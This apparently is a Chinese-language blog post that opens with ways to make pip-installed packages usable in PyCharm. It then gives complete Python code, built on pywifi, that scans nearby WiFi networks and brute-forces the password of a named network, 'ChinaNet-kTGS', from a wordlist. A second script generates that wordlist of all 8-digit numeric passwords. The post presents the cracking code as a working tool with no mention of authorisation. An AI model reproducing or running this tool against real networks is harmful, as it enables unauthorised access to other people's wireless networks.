遇到的錯誤
一.Python在終端通過pip安裝好包以後,在Pycharm中依然無法使用的解決辦法
解決方案一:
在Pycharm中,依次打開File—>Settings,彈窗如下圖:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL3dGVNRTQ61EMRpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL5MTM3QTMzITM5AzNwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
點選右側“+”号,輸入自己需要導入包的名稱,在下面清單中可以看到自己需要的包,詳圖如下:
最後點選Install Package,等待安裝完成即可。
解決方案二:
前提是已經在終端通過pip install指令成功安裝了包。windows環境下,pip會将下載下傳的第三方包存放在以下路徑:[your path]\Python36\Lib\site-packages\中,在這個檔案夾下,找到我們要引用的包,複制到:[使用解釋器路徑]\Lib\site-packages\下,即可使用。使用解釋器是你項目下面的這個,如圖。
解決方案三:
重建立項目,建立的時候勾選“inherit global site-packages”,即可解決。詳情見下圖
二.運作時報No module named 'comtypes’錯
解決辦法:安裝 comtypes子產品:
關于pip的使用可以參考我的另一篇文章重學python之pip
學到的技巧
1.(使用pycharm)ctrl+點選可以跳到相應部分檢視代碼和定義!
2.注釋是個很重要的東西!(選中+Ctrl+/)
3.最好使用導入子產品中定義的常量來判斷:
例如:
if ifaca.status()==const.IFACE_DISCONNECTED:
print("未連接配接")
else: print("連接配接")
中 用const.IFACE_DISCONNECTED代替0是個更好的選擇
因為别人不知道0代表什麼
代碼:
import time
import pywifi
from pywifi import const
# 判斷是否連接配接到wifi環境
def gic():
#建立一個無線對象
wifi=pywifi.PyWiFi()
# print(wifi)
#擷取網卡【】清單
ifaca=wifi.interfaces()[0]
#擷取無線網卡名字
print(ifaca.name())
print(ifaca.status())
if ifaca.status()==const.IFACE_DISCONNECTED:
print("未連接配接")
else: print("連接配接")
# gic()
# 掃描附近的wifi
def bies():
wifi=pywifi.PyWiFi()
ifcae=wifi.interfaces()[0]
# 掃描附近wifi
ifcae.scan()
#儲存掃描結果,如果沒有反應就多掃幾遍
bessis=ifcae.scan_results()
# print(bessis)
#列印附近wifi的名字(ssid)
for wifi in bessis:
print(wifi.ssid)
# bies()
def wificonnect(wifiname,wifipwd):
# wifi連接配接測試
wifi=pywifi.PyWiFi()
iface=wifi.interfaces()[0]
# 斷開wifi連接配接
# iface.disconnect()
time.sleep(0.5)
if iface.status()==const.IFACE_DISCONNECTED:
# 建立wifi連接配接檔案
profilie=pywifi.Profile()
# wifi名稱
profilie.ssid=wifiname
# wifi密碼
profilie.key=wifipwd
# wifi的加密算法
profilie.akm.append(const.AKM_TYPE_WPA2PSK)
# 網卡的開放
profilie.auth=const.AUTH_ALG_OPEN
# 加密單元
profilie.cipher=const.CIPHER_TYPE_CCMP
# 删除所有wifi檔案
iface.remove_all_network_profiles()
# 添加新的wifi檔案
temp_profile=iface.add_network_profile(profilie)
# 連接配接wifi
iface.connect(temp_profile)
time.sleep(2)
if iface.status()==const.IFACE_CONNECTED:
return True
else:return False
#讀取密碼
def read_pwd():
path="F:\\untitled\\WIFI\\code.text"
file=open(path,"r")
while True:
try:
wifipwd=file.readline();
bool=wificonnect("ChinaNet-kTGS",wifipwd)
if bool:
print("密碼正确:"+wifipwd)
break
else:
print("密碼錯誤:"+wifipwd)
except:
continue
file.close()
read_pwd()
#生成密碼本
import itertools as its
words = '1234567890'
# 生成密碼的位數
r = its.product(words,repeat=8)
dic = open('F:\\untitled\\WIFI\\code.text','a')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密碼本生成')
參考:Python在終端通過pip安裝好包以後,在Pycharm中依然無法使用的解決辦法
原文連結:https://blog.csdn.net/kouyi5627/article/details/80531442